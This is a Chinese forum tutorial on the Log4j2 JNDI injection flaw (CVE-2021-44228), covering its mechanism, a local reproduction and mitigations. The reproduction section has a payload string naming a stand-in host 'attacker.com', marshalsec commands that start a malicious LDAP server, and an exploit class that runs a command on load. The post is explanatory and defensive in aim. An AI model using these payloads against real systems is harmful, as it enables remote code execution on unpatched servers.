Shaw0xyz 发表于 2024-6-6 11:50:30

log4j2远程代码执行漏洞原理与漏洞复现

本帖最后由 Shaw0xyz 于 2024-6-9 14:01 编辑

1. 引言

Log4j2 是 Apache 软件基金会提供的一个 Java 日志记录库,被广泛应用于各种 Java 应用中。然而,2021 年底爆出的 Log4j2 远程代码执行漏洞(CVE-2021-44228)引起了广泛关注。该漏洞允许攻击者通过特制的日志消息执行任意代码,严重威胁系统安全。本文将详细解析该漏洞的原理,并提供漏洞复现的具体步骤。

1.1 什么是 Log4j2

Log4j2 是 Apache Log4j 项目的第二代版本,提供了一种灵活且高效的日志记录机制。它允许开发者在应用中记录调试信息、错误信息及其他运行时数据,以便后续分析和调试。

1.2 漏洞简介

Log4j2 远程代码执行漏洞是由于其日志记录功能中的 JNDI(Java Naming and Directory Interface)注入所引起的。攻击者可以通过在日志消息中插入特制的 JNDI 查询,诱使 Log4j2 加载并执行远程恶意代码。

2. 漏洞原理

该漏洞的核心在于 Log4j2 的日志处理机制。当 Log4j2 处理包含特定格式字符串的日志消息时,会自动解析并执行其中的 JNDI 查询。这为攻击者提供了利用途径。

2.1 JNDI 注入

JNDI 是 Java 平台的一部分,允许 Java 应用通过名称服务查找和访问资源。JNDI 支持多种服务提供者,包括 LDAP(轻量目录访问协议)。在 Log4j2 中,当日志消息包含类似 `${jndi:ldap://attacker.com/a}` 的字符串时,Log4j2 会进行解析并尝试通过 JNDI 访问指定的资源。

2.2 远程代码执行

攻击者可以在恶意服务器上放置一个 Java 类文件,当 Log4j2 通过 JNDI 加载该类文件时,恶意代码便会在目标系统上执行。这就实现了远程代码执行。

3. 漏洞复现

为了更好地理解该漏洞,下面提供一个具体的漏洞复现步骤。请注意,以下演示仅用于学习和研究目的,不得用于任何非法活动。

3.1 环境搭建

首先,搭建一个简单的 Java 应用,使用 Log4j2 进行日志记录。

(1) 创建一个新的 Java 项目,并添加 Log4j2 依赖:

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

(2) 编写一个简单的日志记录程序:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2VulnDemo {
    private static final Logger logger = LogManager.getLogger(Log4j2VulnDemo.class);

    public static void main(String[] args) {
      String input = "${jndi:ldap://localhost:1389/a}";
      logger.error("User input: " + input);
    }
}

3.2 设置恶意 LDAP 服务器

使用现有工具如 `marshalsec` 来设置一个恶意 LDAP 服务器,该服务器会返回一个包含恶意代码的 Java 类。

(1) 克隆 marshalsec 项目并编译:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

(2) 启动恶意 LDAP 服务器:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8080/#Exploit"

(3) 编写恶意 Java 类(Exploit.java)并将其编译后放置在 HTTP 服务器上:

public class Exploit {
    static {
      try {
            Runtime.getRuntime().exec("calc");
      } catch (Exception e) {
            e.printStackTrace();
      }
    }
}

javac Exploit.java
python3 -m http.server 8080

3.3 触发漏洞

运行 Java 应用程序,观察是否弹出计算器(calc),如果弹出,则说明漏洞复现成功。

4. 漏洞修复

为了解决该漏洞,建议采取以下措施:

(1) 升级 Log4j2 到最新版本,确保包含官方修复补丁。
(2) 禁用 Log4j2 的 JNDI 功能,通过配置文件或系统属性实现:
   - 在 `log4j2.component.properties` 文件中添加:
   log4j2.formatMsgNoLookups=true
(3) 使用 Web 应用防火墙(WAF)等安全措施过滤恶意请求。

5. 结论

通过本文的介绍,我们详细了解了 Log4j2 远程代码执行漏洞的原理及其复现方法。该漏洞的发现揭示了软件安全中的一个重要问题,即对外部输入的严格校验和控制至关重要。希望本文能帮助读者提高安全意识,并掌握相关的安全防护技巧。



/ 荔枝学姐de课后专栏 /

Hi!这里是荔枝学姐~

欢迎来到我的课后专栏

自然语言学渣 NLP摆烂姐

热衷于技术写作 IT边角料

AIGC & Coding & Linux ...

~互撩~ TG: @Shaw_0xyz
页: [1]
查看完整版本: log4j2远程代码执行漏洞原理与漏洞复现